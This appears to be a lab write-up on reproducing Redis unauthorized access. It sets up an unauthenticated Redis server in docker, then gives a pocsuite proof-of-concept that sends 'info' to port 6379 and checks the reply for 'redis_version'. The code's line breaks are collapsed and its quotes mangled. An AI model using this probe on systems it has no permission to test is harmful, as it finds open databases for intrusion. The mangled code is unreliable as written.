Replay of unauthorized redis access to docker

Search for redis Images Using docker

docker search redis

Pull image to local

docker pull redis

View the downloaded Image

docker images

Run Image

docker run -p 6379:6379 -d redis

-pMap port 6379 of the container to port 6379 of the host.

-dRun the container in the background.

View running Images

docker ps

PoC Composition

#!/usr/bin/env python# -*- coding: utf-8 -*-import socketfrom pocsuite.utils import registerfrom pocsuite.poc import Output, POCBaseclass TestPOC(POCBase):    vulID = ‘0‘    version = ‘1‘    author = ‘nw01f‘    vulDate = ‘2018-10-23‘    createDate = ‘2018-10-23‘    updateDate = ‘2018-10-23‘    references = [‘http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/‘]    name = ‘Redis Unauthorized‘    appPowerLink = ‘https://www.redis.io‘    appName = ‘Redis‘    appVersion = ‘All‘    vulType = ‘Unauthorized‘    desc = ‘‘‘            redis Unauthorized    ‘‘‘    samples = [‘‘]    def _verify(self):        result = {}        payload = ‘\x69\x6e\x66\x6f\x0d\x0a‘     ##   info/r/n        s = socket.socket()        socket.setdefaulttimeout(4)        try:            host = self.url.split(‘:‘)[1].strip(‘/‘)            if len(self.url.split(‘:‘)) > 2:                port = int(self.url.split(‘:‘)[2].strip(‘/‘))            else:                port = 6379            s.connect((host, port))            s.send(payload)            data = s.recv(1024)            if data and ‘redis_version‘ in data:                result[‘VerifyInfo‘] = {}                result[‘VerifyInfo‘][‘url‘] = self.url                result[‘VerifyInfo‘][‘port‘] = port                result[‘VerifyInfo‘][‘result‘] = data[:20]        except Exception as e:            print e        s.close()        return self.parse_attack(result)    def _attack(self):        return self._verify()    def parse_attack(self, result):        output = Output(self)        if result:            output.success(result)        else:            output.fail("error")        return outputregister(TestPOC)

Reference

Http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

Replay of unauthorized redis access to docker